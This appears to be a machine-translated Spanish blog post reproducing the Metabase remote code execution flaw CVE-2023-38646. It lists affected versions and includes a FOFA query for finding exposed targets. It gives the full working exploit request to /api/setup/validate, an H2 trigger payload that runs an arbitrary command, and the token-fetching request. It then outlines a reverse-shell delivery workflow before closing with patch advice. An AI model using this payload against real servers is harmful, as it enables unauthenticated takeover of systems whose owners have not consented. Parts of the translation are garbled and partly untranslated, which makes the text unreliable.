Recurrencia de vulnerabilidad Metabase RCE (CVE-2023-38646)

0x01 Introducción del producto

      Metabase es una herramienta de visualización y análisis de datos de código abierto que ayuda a los usuarios a conectarse fácilmente a varias fuentes de datos, incluidas bases de datos, servicios en la nube y API, y luego utilizar una interfaz intuitiva para la consulta, el análisis y la visualización de datos.

Descripción general de la vulnerabilidad 0x02

   Un atacante remoto no autenticado podría explotar esta vulnerabilidad para ejecutar comandos arbitrarios en el servidor con los privilegios de ejecutar el servidor Metabase.

Vale la pena señalar que la versión reparada también debe instalarse antes de que se pueda reparar la vulnerabilidad, de lo contrario, aún existe la posibilidad de que los atacantes la exploten.

0x03 rango de influencia

Metabase de código abierto 0.46 < 0.46.6.1

Metabase Enterprise 1.46 < 1.46.6.1

Metabase de código abierto 0.45 < v0.45.4.1

Metabase Enterprise 1.45 < 1.45.4.1

Metabase de código abierto 0.44 < 0.44.7.1

Metabase Enterprise 1.44 < 1.44.7.1

Metabase de código abierto 0.43 < 0.43.7.2

Metabase Enterprise 1.43 < 1.43.7.2

0x04 Entorno de recurrencia

FOFA:aplicación="Metabase"

0x05 Reaparición de vulnerabilidad 

Exp

POST /api/setup/validate HTTP/1.1
Host: your-ip
Content-Type: application/json

{
    "token": "token值",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('执行的命令')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "test",
        "engine": "h2"
    }
}

PD: este método es solo para el uso en profundidad de la base de datos H2 

Obtener un token válido

GET /api/session/properties HTTP/1.1
Host: your-ip

 Verificación de registro de DNS

 caparazón de rebote

PD: en un entorno en el que no puede recuperarse directamente, puede probar los siguientes métodos

Escribir un script de shell de rebote

Python construye un servidor http para permitir que el objetivo descargue el script 

Se puede ver que la descarga fue exitosa 

VPS comienza a monitorear y ejecuta scripts 

rebote con éxito 

 0x06 Sugerencia de reparación

plan provisional de mitigación

Restrinja las fuentes de acceso a través de políticas de ACL de red, como permitir solo solicitudes de acceso de direcciones IP específicas o segmentos de direcciones.

corrección de actualización

La versión oficial ha sido lanzada. Se recomienda a todos los usuarios afectados que visiten el sitio web oficial lo antes posible y actualicen a la versión de seguridad correspondiente.

Para los usuarios de la versión de código abierto, dado que el código fuente oficial de la reparación no se ha publicado, puede descargar directamente el archivo jar preempaquetado desde la página de lanzamiento para su uso.

Para los usuarios que usan la versión de Docker, simplemente extraiga la última versión de la imagen para actualizar. Sin embargo, antes de iniciar la actualización, asegúrese de haber realizado una copia de seguridad de sus datos.

Además, independientemente de la versión de reparación que se use, es necesario asegurarse de que la aplicación pueda iniciar sesión y usarse normalmente después de que se complete el proceso de instalación para corregir la vulnerabilidad. Al mismo tiempo, como sugerencia de seguridad, algunos servicios no utilizados deben desconectarse a tiempo.

 

 

Supongo que te gusta

Origin blog.csdn.net/qq_41904294/article/details/131990310
Recomendado
Clasificación